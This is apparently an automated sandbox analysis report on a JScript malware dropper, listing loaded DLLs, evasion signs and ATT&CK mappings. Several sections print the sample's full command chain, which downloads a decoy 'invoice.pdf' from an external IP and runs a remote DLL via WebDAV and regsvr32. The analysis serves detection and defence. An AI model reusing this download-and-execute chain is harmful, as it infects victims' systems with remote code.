Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3698.js.csv");ITextStream.WriteLine(" entry:7608 f:yauhcmgd");ITextStream.WriteLine(" exec:2 f:yauhcmgd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5609			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4213			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6060	Thread sleep count: 5609 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4784	Thread sleep count: 4213 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2752	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6828	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1581447911.0000013E0AC98000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000002.1581447911.0000013E0ACFA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1578158715.0000013E0ACFA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2777585571.000001FCC6C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2775826841.000001FCC162F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21418225878415.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
